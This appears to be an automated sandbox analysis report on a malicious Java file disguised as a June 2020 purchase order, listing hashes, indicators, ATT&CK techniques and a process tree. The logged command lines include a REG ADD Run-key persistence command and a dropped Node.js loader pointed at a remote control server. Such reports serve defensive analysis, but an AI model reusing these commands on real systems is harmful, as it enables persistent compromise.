d19e6201d033366ca89123177f5e53904f06f043dca06d162578920e064e34f2

General

Target

purchase_order_june2020.jar
Size

12KB
MD5

072a7dde70bb530505d079fa0e58f5b3
SHA1

17ecf45e01685a6eb6f664984774f0e393136962
SHA256

d19e6201d033366ca89123177f5e53904f06f043dca06d162578920e064e34f2
SHA512

bbce409bcb919193c0a00699f154246b7d1f46ab0bd6014b06ab0bbb29a2a45563897ee41d53f20efd7e1360ccce3f637bb77814d18b492477d201d3101e90dd

Score

8^/10

persistence

Malware Config

Signatures

Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

12 wtfismyip.com
11 wtfismyip.com

flow	ioc
12	wtfismyip.com
11	wtfismyip.com

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

java.exenode.execmd.exe

description	pid	process	target process
PID 716 wrote to memory of 3804	716	java.exe	node.exe
PID 716 wrote to memory of 3804	716	java.exe	node.exe
PID 3804 wrote to memory of 3824	3804	node.exe	cmd.exe
PID 3804 wrote to memory of 3824	3804	node.exe	cmd.exe
PID 3824 wrote to memory of 3368	3824	cmd.exe	reg.exe
PID 3824 wrote to memory of 3368	3824	cmd.exe	reg.exe
PID 3804 wrote to memory of 3356	3804	node.exe	node.exe
PID 3804 wrote to memory of 3356	3804	node.exe	node.exe

Executes dropped EXE 2 IoCs

Processes:

node.exenode.exe

pid process

3804 node.exe
3356 node.exe
Loads dropped DLL 4 IoCs

Processes:

node.exe

pid process

3356 node.exe
3356 node.exe
3356 node.exe
3356 node.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

node.exe

pid process

3356 node.exe
3356 node.exe

pid	process
3804	node.exe
3356	node.exe

pid	process
3356	node.exe
3356	node.exe
3356	node.exe
3356	node.exe

pid	process
3356	node.exe
3356	node.exe

Adds Run entry to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\qnodejs-335ea990 = "cmd /D /C \"C:\\Users\\Admin\\qnodejs-node-v13.13.0-win-x64\\qnodejs\\qnodejs-335ea990.cmd\""	reg.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

node.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\purchase_order_june2020.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:716

C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:2642@qhub-subscription.store.qua.one --register-startup --central-base-url https://nanatools.ddns.net
2⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:3804

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-335ea990" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-335ea990.cmd\"""
3⤵
- Suspicious use of WriteProcessMemory
PID:3824

C:\Windows\system32\reg.exe
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-335ea990" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-335ea990.cmd\""
4⤵
- Adds Run entry to start application
PID:3368

C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:2642@qhub-subscription.store.qua.one --register-startup --central-base-url https://nanatools.ddns.net
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Checks processor information in registry
PID:3356

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe

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C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe

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C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js

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C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js

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\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\ffi-napi\prebuilds\win32-x64\node.napi.node

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\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\native-reg\prebuilds\win32-x64\node.napi.node

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\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\ref-napi\prebuilds\win32-x64\node.napi.node

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\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\sqlite3\lib\binding\node-v79-win32-x64\node_sqlite3.node

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memory/3356-118-0x0000000000000000-mapping.dmp

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memory/3356-120-0x000001BE27B40000-0x000001BE27B41000-memory.dmp

Filesize
4KB

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memory/3368-117-0x0000000000000000-mapping.dmp

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memory/3804-112-0x0000000000000000-mapping.dmp

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memory/3804-114-0x0000023BE3380000-0x0000023BE3381000-memory.dmp

Filesize
4KB

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memory/3824-116-0x0000000000000000-mapping.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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